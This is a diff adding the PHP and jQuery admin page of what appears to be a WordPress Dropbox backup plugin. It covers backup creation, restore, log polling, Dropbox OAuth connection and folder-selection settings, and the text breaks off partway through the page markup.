 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <div class="wrap">
2
+ <script src="<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.min.js'?>" type="text/javascript"></script>
3
+ <link rel='stylesheet' href='<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.css'?>' type='text/css' media='all' />
4
+ <style>
5
+ .pointer {
6
+ cursor: pointer;
7
+ }
8
+ </style>
9
+ <script>
10
+ var home_url = '<?php echo SITE_HOME; ?>';
11
+ var type_backup = '';
12
+ function blickForm(id, t)
13
+ {
14
+ if(t.checked == true) {
15
+ t.checked = false;
16
+ }
17
+ l = jQuery('#' + id).length;
18
+ showRegistInfo(false);
19
+ if (l > 0) {
20
+ blick(id);
21
+ }
22
+ }
23
+ function showRegistInfo(show)
24
+ {
25
+ display = jQuery('#cf_activate').css('display');
26
+ if (display == 'none') {
27
+ jQuery('#cf_activate').show('slow');
28
+ jQuery('#registr-show').html("<?php langWPADM::get('Hide'); ?>");
29
+ jQuery('#title-regisr').css("padding" , "0px 0px");
30
+ jQuery('#registr-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
31
+ } else {
32
+ if (show) {
33
+ jQuery('#cf_activate').hide('slow');
34
+ jQuery('#registr-show').html("<?php langWPADM::get('Show'); ?>");
35
+ jQuery('#title-regisr').css("padding" , "20px 0px");
36
+ jQuery('#registr-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
37
+ }
38
+ }
39
+ }
40
+ function showSetting(show)
41
+ {
42
+ display = jQuery('#setting_active').css('display');
43
+ if (display == 'none') {
44
+ jQuery('#setting_active').show(1000);
45
+ jQuery('#setting-show').html("<?php langWPADM::get('Hide'); ?>");
46
+ jQuery('#title-setting').css("padding" , "0px 0px");
47
+ jQuery('#setting-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
48
+ } else {
49
+ if (show) {
50
+ jQuery('#setting_active').hide('slow');
51
+ jQuery('#setting-show').html("<?php langWPADM::get('Show'); ?>");
52
+ jQuery('#title-setting').css("padding" , "20px 0px");
53
+ jQuery('#setting-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
54
+ }
55
+ }
56
+ }
57
+ process_flag = 0;
58
+ function start_local_backup()
59
+ {
60
+ d = new Date();
61
+ var data_backup = {
62
+ 'action': 'wpadm_local_backup',
63
+ 'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 )
64
+ };
65
+ jQuery("#logs-form").show("slow");
66
+ jQuery("#action-buttons").css('margin-top', '8px');
67
+ <?php if(!$stars5) { ?>
68
+ jQuery("#support-button").css('margin-top', '132px');
69
+ <?php } else { ?>
70
+ jQuery("#support-button").css('margin-top', '8px');
71
+ <?php } ?>
72
+ jQuery("#log-backup").html('');
73
+ jQuery(".title-logs").css('display', 'block');
74
+ jQuery(".title-status").css('display', 'none');
75
+ type_backup = 'local_backup';
76
+ jQuery.ajax({
77
+ type: "POST",
78
+ url: ajaxurl,
79
+ data: data_backup,
80
+ success: function(data){
81
+ if (data.result != 'work') {
82
+ process_flag = 0;
83
+ showData(data);
84
+ }
85
+ process_flag = 1
86
+ processBar(type_backup);
87
+ showTime();
88
+
89
+ },
90
+ error: function(jqXHR, textStatus, errorThrown){
91
+ processStop();
92
+ AjaxAlert(jqXHR, textStatus, errorThrown);
93
+ },
94
+ dataType: 'json'
95
+ });
96
+ }
97
+ function AjaxAlert(jqXHR, textStatus, errorThrown)
98
+ {
99
+ var msg = 'Website "' + home_url + '" returned an error during operation with return:<br /><br /> <span style="font-size:13px; font-style: italic;">code: ' + jqXHR.status + ', text status: ' + textStatus + ', text: ' + errorThrown + "</span>";
100
+ jQuery("#ajax-message").html(msg);
101
+ jQuery("#msg_ajax").val(msg);
102
+ jQuery('#ajax-alert').arcticmodal({
103
+ beforeOpen: function(data, el) {
104
+ jQuery('#ajax-alert').css('display','block');
105
+ },
106
+ afterClose: function(data, el) {
107
+ jQuery('#ajax-alert').css('display','none');
108
+ }
109
+ });
110
+ }
111
+
112
+ function stopBackup()
113
+ {
114
+
115
+ var data_backup = {
116
+ 'action': 'stop_backup',
117
+ 'type-backup': type_backup,
118
+ };
119
+ jQuery.ajax({
120
+ type: "POST",
121
+ url: ajaxurl,
122
+ data: data_backup,
123
+ dataType: 'json',
124
+ success: function(data){
125
+
126
+ },
127
+ error: function(jqXHR, textStatus, errorThrown) {
128
+ processStop();
129
+ AjaxAlert(jqXHR, textStatus, errorThrown);
130
+ },
131
+ });
132
+
133
+ }
134
+
135
+ var auth_param = <?php echo isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['uid']) && $dropbox_options['uid'] != '' ? 'false' : 'true' ?>;
136
+ function start_dropbox_backup()
137
+ {
138
+ if (auth_param === false) {
139
+ d = new Date();
140
+ process_flag = 0;
141
+
142
+ var data_backup = {
143
+ 'action': 'wpadm_dropbox_create',
144
+ 'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 ),
145
+ };
146
+ jQuery("#logs-form").show("slow");
147
+ jQuery("#action-buttons").css('margin-top', '8px');
148
+
149
+ <?php if(!$stars5) { ?>
150
+ jQuery("#support-button").css('margin-top', '132px');
151
+ <?php } else { ?>
152
+ jQuery("#support-button").css('margin-top', '8px');
153
+ <?php } ?>
154
+ jQuery("#log-backup").html('');
155
+ jQuery(".title-logs").css('display', 'block');
156
+ jQuery(".title-status").css('display', 'none');
157
+ type_backup = 'send-to-dropbox';
158
+ jQuery.ajax({
159
+ type: "POST",
160
+ url: ajaxurl,
161
+ data: data_backup,
162
+ success: function(data){
163
+ if (data.result !== 'work') {
164
+ process_flag = 0;
165
+ if (data.result == 'success') {
166
+ jQuery('.title-logs').css('display', 'none');
167
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
168
+ jQuery('.title-status').html('<?php langWPADM::get('Dropbox Backup was created successfully'); ?>');
169
+ } else {
170
+ jQuery('.title-logs').css('display', 'none');
171
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
172
+ jQuery('.title-status').html("<?php langWPADM::get('Dropbox Backup wasn\'t created. '); ?>" + data.error);
173
+ }
174
+ showData(data);
175
+ jQuery('.table').css('display', 'table');
176
+ }
177
+ process_flag = 1
178
+ processBar('send-to-dropbox');
179
+ showTime();
180
+
181
+ },
182
+ error: function(jqXHR, textStatus, errorThrown) {
183
+ processStop();
184
+ AjaxAlert(jqXHR, textStatus, errorThrown);
185
+ },
186
+ dataType: 'json'
187
+ });
188
+ } else {
189
+ jQuery('#is-dropbox-auth').arcticmodal({
190
+ beforeOpen: function(data, el) {
191
+ jQuery('#is-dropbox-auth').css('display','block');
192
+
193
+ },
194
+ afterClose: function(data, el) {
195
+ jQuery('#is-dropbox-auth').css('display','none');
196
+ showSetting(false);
197
+ blick('app_key', 4);
198
+ blick('app_secret', 4);
199
+ }
200
+ });
201
+ }
202
+ }
203
+ function showData(data)
204
+ {
205
+ jQuery('.table').css('display', 'table');
206
+ if (type_backup == 'local_backup') {
207
+ if (data.result == 'success') {
208
+ jQuery('.title-logs').css('display', 'none');
209
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
210
+ jQuery('.title-status').html('<?php langWPADM::get('Local Backup was created successfully'); ?>');
211
+ } else {
212
+ jQuery('.title-logs').css('display', 'none');
213
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
214
+ jQuery('.title-status').html("<?php langWPADM::get('Local Backup wasn\'t created'); ?>");
215
+ }
216
+ } else {
217
+ if (data.result == 'success') {
218
+ jQuery('.title-logs').css('display', 'none');
219
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
220
+ jQuery('.title-status').html('<?php langWPADM::get('Dropbox Backup was created successfully'); ?>');
221
+ } else {
222
+ jQuery('.title-logs').css('display', 'none');
223
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
224
+ jQuery('.title-status').html("<?php langWPADM::get('Dropbox Backup wasn\'t created. '); ?>" + data.error);
225
+ }
226
+ }
227
+ size_backup = data.size / 1024 / 1024;
228
+ if (data.size != 0 || data.result != 'error') {
229
+ var img_table =
230
+ '<img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;" />' +
231
+ '<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Successful', false);?></div>';
232
+ name_backup = data.name;
233
+ } else {
234
+ var img_table =
235
+ '<img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="fail" alt="fail" style="float: left; width: 20px; height: 20px;" />' +
236
+ '<div style="margin-top :1px;float: left;"><?php echo langWPADM::get('Fail', false);?>&nbsp;&nbsp;(<a style="text-decoration:underline;"><?php echo langWPADM::get('Show Details', false);?></a>)</div>';
237
+ name_backup = '<?php echo langWPADM::get('Not available', false);?>';
238
+ }
239
+ info = "";
240
+ if (data.data) {
241
+ for(i = 0; i < data.data.length; i++) {
242
+ e = data.data[i].split('/');
243
+ info += '<tr style="border: 0;">' +
244
+ '<td style="border: 0;padding: 0px;"><a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . '/'; ?>' + data.name + '/' + e[e.length - 1] + '">' + e[e.length - 1] + '</td>' +
245
+ '</tr>' ;
246
+ }
247
+
248
+ co = jQuery('.number-backup').length + 1;
249
+ jQuery('.table > tbody:last').after(
250
+ '<tr>'+
251
+ '<td class="number-backup" onclick="shows(\'' + data.md5_data + '\', this)">' +
252
+ co +
253
+ '</td>' +
254
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)" style="text-align: left; padding-left: 7px;" >' +
255
+ data.time +
256
+ '</td>' +
257
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
258
+ name_backup +
259
+ '</td>' +
260
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\',this)">' +
261
+ data.counts +
262
+ '</td>' +
263
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
264
+ img_table +
265
+ '</td>' +
266
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
267
+ data.type + ' <?php langWPADM::get('backup')?>' +
268
+ '</td>' +
269
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
270
+ size_backup.toFixed(2) + "<?php langWPADM::get('Mb')?>" +
271
+ '</td>' +
272
+ '<td>' +
273
+ '<a href="javascript:void(0)" class="button-wpadm" title="<?php langWPADM::get('Restore')?>" onclick="show_recovery_form(\'' + data.type + '\', \'' + data.name + '\')"><span class="pointer dashicons dashicons-backup"></span><?php langWPADM::get('Restore')?></a> &nbsp;' +
274
+ '<a href="javascript:void(0)" class="button-wpadm" title="<?php langWPADM::get('Delete')?>" onclick="delete_backup(\'' + data.name + '\', \'' + data.type + '\')"><span class="pointer dashicons dashicons-trash"></span><?php langWPADM::get('Delete')?></a> &nbsp;' +
275
+ '</td>' +
276
+ '</tr>'+
277
+ '<tr id="' + data.md5_data + '" style="display: none;">'+
278
+ '<td colspan="2">' +
279
+ '</td>' +
280
+ '<td align="center" style="padding: 0px; width: 350px;">' +
281
+ '<div style="overflow: auto; max-height: 150px;">' +
282
+ '<table border="0" align="center" style="width: 100%;" class="info-path">' +
283
+ info +
284
+ '</table>' +
285
+ '</div>' +
286
+ '</td>' +
287
+ '<td colspan="6"></td>' +
288
+ '</tr>')
289
+ }
290
+ }
291
+ var logs = [];
292
+ function processBar(method)
293
+ {
294
+ if (method == 'undefined') {
295
+ method = type_backup;
296
+ }
297
+ var data_log = {
298
+ 'action': 'wpadm_logs',
299
+ 'type-backup' : method,
300
+ };
301
+ jQuery.ajax({
302
+ type: "POST",
303
+ url: ajaxurl,
304
+ data: data_log,
305
+ success: function(response){
306
+ eval("var data=" + response);
307
+ for(s in data.log) {
308
+ if (jQuery.inArray(s , logs) == -1) {
309
+ l = jQuery("#log-backup").html();
310
+ l = "<div>" + data.log[s] + "</div>" + l;
311
+ jQuery("#log-backup").html(l);
312
+ }
313
+ }
314
+ if (process_flag == 1) {
315
+ if (data.data) {
316
+ showData(data.data);
317
+ processStop();
318
+ } else {
319
+ setTimeout('processBar("' + method + '")', 3000);
320
+ }
321
+ }
322
+ },
323
+ error: function(jqXHR, textStatus, errorThrown){
324
+ processStop();
325
+ AjaxAlert(jqXHR, textStatus, errorThrown);
326
+ },
327
+ });
328
+ }
329
+
330
+ function showTime(t)
331
+ {
332
+ if (process_flag == 1) {
333
+ if ( (typeof t) == 'undefined') {
334
+ t = 1;
335
+ } else {
336
+ t = t + 1;
337
+ }
338
+ time = t + " <?php langWPADM::get('sec.'); ?>";
339
+ jQuery("#time_backup").html(time);
340
+ setTimeout(function() { showTime(t) }, 1000);
341
+ }
342
+ }
343
+ function processStop()
344
+ {
345
+ process_flag = 0;
346
+ }
347
+ function delete_backup(backup, type)
348
+ {
349
+ document.delete_backups.backup_name.value = backup;
350
+ document.delete_backups.backup_type.value = type;
351
+ document.delete_backups.submit();
352
+ }
353
+ function create_backup (type) {
354
+ if (type == 'auth') {
355
+ document.form_auth_backup_create.submit();
356
+ }
357
+ }
358
+ function show_recovery_form(type, name)
359
+ {
360
+ var act = '';
361
+ if (confirm("<?php langWPADM::get('Are you sure you want to start the recovery process?')?>")) {
362
+ if (type == 'local') {
363
+ act = 'wpadm_local_restore';
364
+ } else {
365
+ act = 'wpadm_restore_dropbox';
366
+ }
367
+ var data_backup = {
368
+ 'action': act,
369
+ 'name': name,
370
+ };
371
+ jQuery("#log-backup").html('');
372
+ jQuery("#action-buttons").css('margin-top', '8px');
373
+ <?php if(!$stars5) { ?>
374
+ jQuery("#support-button").css('margin-top', '132px');
375
+ <?php } else { ?>
376
+ jQuery("#support-button").css('margin-top', '8px');
377
+ <?php } ?>
378
+ jQuery(".title-logs").css('display', 'block');
379
+ jQuery(".title-status").css('display', 'none');
380
+ jQuery("#logs-form").show("slow");
381
+ jQuery("#action-buttons").css('margin-top', '8px');
382
+ jQuery.ajax({
383
+ type: "POST",
384
+ url: ajaxurl,
385
+ data: data_backup,
386
+ beforeSend: function(){
387
+ process_flag = 1
388
+ processBar();
389
+ showTime();
390
+
391
+ },
392
+ success: function(data){
393
+ process_flag = 0;
394
+ if (data.result == 'success') {
395
+ jQuery('.title-logs').css('display', 'none');
396
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
397
+ if (type == 'local') {
398
+ str = '<?php langWPADM::get('Local Backup (%s) was restored successfully'); ?>';
399
+ str = str.replace('%s', name);
400
+ jQuery('.title-status').html(str);
401
+ } else {
402
+ str = '<?php langWPADM::get('Dropbox Backup (%s) was restored successfully'); ?>';
403
+ str = str.replace('%s', name);
404
+ jQuery('.title-status').html(str);
405
+ }
406
+ } else {
407
+ jQuery('.title-logs').css('display', 'none');
408
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
409
+ if (type == 'local') {
410
+ str = "<?php langWPADM::get('Local Backup (%s) wasn\'t restored'); ?>";
411
+ str = str.replace("%s", name) ;
412
+ jQuery('.title-status').html(str);
413
+ } else {
414
+ str = "<?php langWPADM::get('Dropbox Backup (%s) wasn\'t restored'); ?>";
415
+ str = str.replace('%s', name);
416
+ jQuery('.title-status').html(str);
417
+ }
418
+ }
419
+ },
420
+ error: function(jqXHR, textStatus, errorThrown) {
421
+ processStop();
422
+ AjaxAlert(jqXHR, textStatus, errorThrown);
423
+ },
424
+ dataType: 'json'
425
+ });
426
+ }
427
+
428
+ }
429
+ function auth_form(t)
430
+ {
431
+ var button = jQuery(t);
432
+ var form = button.closest('form');
433
+ var data = {};
434
+
435
+ var reg = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,6})+$/;
436
+ mail = document.auth.username.value;
437
+ send = false;
438
+ if (!reg.test(mail)) {
439
+ document.auth.username.style.border = "2px solid red";
440
+ } else {
441
+ document.auth.username.style.border = "1px solid #5b9dd9";
442
+ if(document.auth.password.value.length == 0) {
443
+ document.auth.password.style.border = "2px solid red";
444
+ } else {
445
+ send = true;
446
+ document.auth.password.style.border = "1px solid #5b9dd9";
447
+ }
448
+ }
449
+ if(send) {
450
+ form.find('#message-form').css('display', 'none');
451
+ data['password'] = document.auth.password.value;
452
+ data['username'] = document.auth.username.value;
453
+ data['plugin'] = document.auth.plugin.value;
454
+ backup = jQuery("#name_backup_restore").val();
455
+ jQuery.ajax({
456
+ url: form.attr('action'),
457
+ data: data,
458
+ type: 'POST',
459
+ dataType: 'json',
460
+ success: function(data_res) {
461
+ if( !data_res){
462
+ alert('error');
463
+ } else if(data_res.error) {
464
+ if(form.find('#message-form').length) {
465
+ form.find('#message-form').html("");
466
+ form.find('#message-form').css('display', 'block');
467
+ form.find('#message-form').css('margin', '0');
468
+ form.find('#message-form').css('margin-top', '6px');
469
+ form.find('#message-form').html(data_res.error);
470
+ }
471
+ } else if(data_res.url) {
472
+
473
+ jQuery.ajax({
474
+ url: ajaxurl,
475
+ data: {'action' : 'set_user_mail', 'email' : document.auth.username.value},
476
+ type: 'POST',
477
+ dataType: 'json',
478
+ success: function(res) {
479
+
480
+ }
481
+ });
482
+ form.attr('action', data_res.url);
483
+ document.auth.submit();
484
+ //location.reload();
485
+ }
486
+ },
487
+ error: function ( jqXHR, textStatus, errorThrown ) {
488
+ AjaxAlert(jqXHR, textStatus, errorThrown);
489
+ }
490
+
491
+ });
492
+ }
493
+ }
494
+ function disconnectDropbox()
495
+ {
496
+ var form = jQuery('form#dropbox_form');
497
+ form.find('#oauth_token_secret').val('');
498
+ form.find('#oauth_token').val('');
499
+ form.find('#uid').val('');
500
+ form.find('#dropbox_uid_text').text('');
501
+ form.find('.disconnect_btn').parents('.form_block_input').removeClass('connected');
502
+ }
503
+
504
+ var winParams = "left=0,top=0,height=600,width=1000,menubar=no,location=no,resizable=yes,scrollbars=yes,status=yes,toolbar=no,directories=no"
505
+ var dropboxBut, dropboxWin;
506
+ function connectDropbox(button, href, oauth_token_secret, oauth_token, uid){
507
+ if( button && href ){
508
+ dropboxBut = jQuery(button);
509
+ var form = dropboxBut.parents('form');
510
+ var url = href;
511
+
512
+ // if (jQuery.trim(jQuery('#app_key').val()) != '' || jQuery.trim(jQuery('#app_secret').val()) != '') {
513
+ url += '&app_key='+jQuery('#app_key').val();
514
+ url += '&app_secret='+jQuery('#app_secret').val();
515
+ // }
516
+
517
+ dropboxWin = window.open(url, "Dropbox", winParams);
518
+ if( dropboxWin ){
519
+ dropboxWin.focus();
520
+ }else{
521
+ alert('<?php langWPADM::get('Please, permit the pop-up windows.'); ?>');
522
+ }
523
+ }else{
524
+ var form = dropboxBut.parents('form');
525
+ if( dropboxWin ){
526
+ dropboxWin.close();
527
+ }
528
+ form.find('#oauth_token_secret').val(oauth_token_secret);
529
+ form.find('#oauth_token').val(oauth_token);
530
+ form.find('#uid').val(uid);
531
+ auth_param = false;
532
+ form.find('#dropbox_uid_text').html('<?php echo langWPADM::get('Dropbox successfully connected:', false)?> UID ' + uid);
533
+ blick_form = false;
534
+ dropboxBut.parents('.form_block_input').addClass('connected');
535
+ }
536
+ }
537
+ function getHelperDropbox()
538
+ {
539
+ jQuery('#helper-keys').arcticmodal({
540
+ beforeOpen: function(data, el) {
541
+ jQuery('#helper-keys').css('display','block');
542
+ },
543
+ afterClose: function(data, el) {
544
+ jQuery('#helper-keys').css('display','none');
545
+ }
546
+ });
547
+ }
548
+
549
+ function setReadOnly(id)
550
+ {
551
+ r = jQuery('#' + id).attr('readonly');
552
+ if (r == 'readonly') {
553
+ jQuery('#' + id).prop('readonly', false);
554
+ } else {
555
+ jQuery('#' + id).prop('readonly', true);
556
+
557
+ }
558
+ }
559
+ function InludesSetting()
560
+ {
561
+ disp = jQuery('#inludes-setting').css('display');
562
+ if (disp == 'none') {
563
+ showLoadingImg(true);
564
+ getIncludesData();
565
+ jQuery('#inludes-setting').show("slow");
566
+ } else {
567
+ jQuery('.show-includes').html("");
568
+ jQuery('#inludes-setting').hide("slow");
569
+ }
570
+ }
571
+ var level_tree = {};
572
+ function getIncludesData(type, dir_)
573
+ {
574
+ data = {'action' : 'getDirsIncludes'};
575
+ if (type != 'undefined') {
576
+ data['files'] = type
577
+ }
578
+ if ( ( typeof dir_ ) != 'undefined') {
579
+ data['path'] = dir_.path;
580
+ }
581
+ jQuery.ajax({
582
+ url: ajaxurl,
583
+ data: data,
584
+ type: 'POST',
585
+ dataType: 'json',
586
+ success: function(data_res) {
587
+ showLoadingImg(false);
588
+ if ((typeof dir_) != 'undefined') {
589
+ jQuery('#img_load_' + dir_.cache).css('display', 'none');
590
+ }
591
+ if (data.path) {
592
+ showIncludesData(data_res.dir, dir_.id);
593
+ } else {
594
+ if (data_res.dir) {
595
+ showIncludesData(data_res.dir);
596
+ }
597
+ }
598
+ level_tree[level_tree.length] = data_res.dir;
599
+ },
600
+ error: function(jqXHR, textStatus, errorThrown) {
601
+ AjaxAlert(jqXHR, textStatus, errorThrown);
602
+ }
603
+ });
604
+ }
605
+ function loadInludes(path, cache, t, lvl)
606
+ {
607
+ if (t.checked) {
608
+ showLoadingImg(true);
609
+ jQuery('#include_' + cache).html('');
610
+ jQuery('#img_load_' + cache).css({'display':'inline'});
611
+ getIncludesData('undefined', {'path' : path, 'id' : 'include_' + cache, 'cache' : cache });
612
+ jQuery('#include_' + cache).show('slow');
613
+ } else {
614
+ in_id = jQuery(t).attr('id')
615
+ if (jQuery('#include_' + in_id).length > 0) {
616
+ jQuery('#include_' + in_id).hide('slow');
617
+ }
618
+ }
619
+ }
620
+ function showIncludesData(data, id)
621
+ {
622
+ html = "";
623
+ if ( ( typeof data ) != 'undefined' ) {
624
+ if (data.length > 0) {
625
+ for(i = 0; i < data.length; i++) {
626
+ if (data[i].check) {
627
+ check = 'checked="checked"' ;
628
+ send_checked[send_checked.length] = data[i].check_folder;
629
+ } else {
630
+ check = '';
631
+ }
632
+ html += '<div id="inc_' + data[i].cache + '" data-value="' + data[i].cache + '">' +
633
+ '<input type="checkbox" ' + check + ' class="checkbox-send" value="' + data[i].folder + '" name="folder-include" id="send-to-' + data[i].cache + '" onclick="connectFolder(this)" />' +
634
+ '<input type="checkbox" class="input-folder" value="/' + data[i].dir + '" id="' + data[i].cache + '" onclick="loadInludes(\'/' + data[i].folder + '\', \'' + data[i].cache +'\', this, \'' + level_tree.length + '\')" />' +
635
+ '<label for="' + data[i].cache + '">' + data[i].dir + ' <span style="font-size:10px;">(' + data[i].perm + ')</span>' + '</label>' +
636
+ '<div id="img_load_' + data[i].cache + '" style="display:none; margin-left:10px;position:relative;">' +
637
+ '<img style="position:absolute;bottom:0;" src="<?php echo plugins_url('/img/folder-loader.gif', dirname(__FILE__) ); ?>" alt="load" title="load" >' +
638
+ '</div>'+
639
+ '<div class="tree-includes" id="include_' + data[i].cache + '">' +
640
+ '</div>' +
641
+ '</div>';
642
+ }
643
+ if (jQuery("#" + id).length > 0) {
644
+ jQuery("#" + id).html(html);
645
+ } else {
646
+ jQuery('.show-includes').html(html);
647
+ }
648
+ }
649
+ }
650
+ }
651
+
652
+ function saveIncludes()
653
+ {
654
+ data = {'action' : 'saveDirsIncludes', 'save' : 1, 'data' : send_checked}
655
+ if (send_checked.length > 0) {
656
+ showLoadingImg(true);
657
+ jQuery.ajax({
658
+ url: ajaxurl,
659
+ data: data,
660
+ type: 'POST',
661
+ dataType: 'json',
662
+ success: function(data_res) {
663
+ showLoadingImg(false);
664
+
665
+ },
666
+ error: function (jqXHR, textStatus, errorThrown) {
667
+ AjaxAlert(jqXHR, textStatus, errorThrown);
668
+ }
669
+ });
670
+ }
671
+ }
672
+ function saveSetting(id)
673
+ {
674
+ if (jQuery('#' + id).length > 0) {
675
+ is_value = 0;
676
+ if(document.getElementById(id).checked) {
677
+ is_value = 1;
678
+ }
679
+
680
+ data = {'action' : 'saveSetting'}
681
+ data[id] = is_value;
682
+ jQuery.ajax({
683
+ url: ajaxurl,
684
+ data: data,
685
+ type: 'POST',
686
+ dataType: 'json',
687
+ success: function(data_res) {
688
+ },
689
+ error: function( jqXHR, textStatus, errorThrown ){
690
+ AjaxAlert(jqXHR, textStatus, errorThrown);
691
+ }
692
+ });
693
+ }
694
+ }
695
+ var app_key = app_secret = '';
696
+ function showApp()
697
+ {
698
+ disp = jQuery('#dropbox-app-key').css('display');
699
+ if (disp == 'none') {
700
+ jQuery('#dropbox-app-key').show('slow');
701
+ jQuery('#help-key-pass').show('slow');
702
+ jQuery('#dropbox-app-secret').show('slow');
703
+ jQuery('#app_secret').val(app_secret);
704
+ jQuery('#app_key').val(app_key);
705
+ jQuery('.stat-table-registr').css('margin-bottom', '25px');
706
+ } else {
707
+ jQuery('#dropbox-app-key').hide('slow');
708
+ jQuery('#help-key-pass').hide('slow');
709
+ jQuery('#dropbox-app-secret').hide('slow');
710
+ app_key = jQuery('#app_key').val();
711
+ app_secret = jQuery('#app_secret').val()
712
+ jQuery('#app_secret').val('');
713
+ jQuery('#app_key').val('');
714
+ jQuery('.stat-table-registr').css('margin-bottom', '0px');
715
+ }
716
+ }
717
+ function showFormAjax()
718
+ {
719
+ //form-ajax-ftp-email
720
+ disp = jQuery('#form-ajax-ftp-email').css('display');
721
+ if (disp == 'none') {
722
+ jQuery('#form-ajax-ftp-email').show('slow');
723
+ } else {
724
+ jQuery('#form-ajax-ftp-email').hide('slow');
725
+ }
726
+ }
727
+ </script>
728
+ <?php if (!empty($error)) {
729
+ echo '<div class="error" style="text-align: center; color: red; font-weight:bold;">
730
+ <p style="font-size: 16px;">
731
+ ' . $error . '
732
+ </p></div>';
733
+ }?>
734
+ <?php if (!empty($msg)) {
735
+ echo '<div class="updated" style="text-align: center; font-weight:bold;">
736
+ <p style="font-size: 16px;">
737
+ ' . $msg . '
738
+ </p></div>';
739
+ }?>
740
+ <div id="is-dropbox-auth" style="display: none; width: 380px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
741
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:45px; line-height: 30px;">
742
+ <?php langWPADM::get('Please, add your Dropbox credentials:'); ?><br />
743
+ <strong><?php langWPADM::get('"App key"'); ?></strong> & <strong><?php langWPADM::get('"App secret"'); ?></strong> <br />
744
+ <?php langWPADM::get('in the Setting Form'); ?>
745
+ </div>
746
+ <div class="button-description" style="padding:20px 0;padding-top:45px">
747
+ <input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#is-dropbox-auth').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
748
+ </div>
749
+ </div>
750
+ <?php
751
+ if (isset($sent_response)) {
752
+ ?>
753
+ <script>
754
+ jQuery(document).ready(function() {
755
+ jQuery('#sent-error-report').arcticmodal({
756
+ beforeOpen: function(data, el) {
757
+ jQuery('#sent-error-report').css('display','block');
758
+ },
759
+ afterClose: function(data, el) {
760
+ jQuery('#sent-error-report').css('display','none');
761
+ }
762
+ });
763
+ })
764
+ </script>
765
+ <div id="sent-error-report" style="display: none;" >
766
+ <div class="text-view">
767
+ <?php echo $sent_response ;?>
768
+ </div>
769
+ <div class="button-sent-report">
770
+ <input type="button" class="button-wpadm" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#sent-error-report').arcticmodal('close')" />
771
+ </div>
772
+ </div>
773
+ <?php
774
+ }
775
+ ?>
776
+ <div id="ajax-alert" style="display: none;width: 800px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
777
+ <div id="ajax-message" style="font-size: 15px; margin-top: 10px; margin-bottom: 30px;"></div>
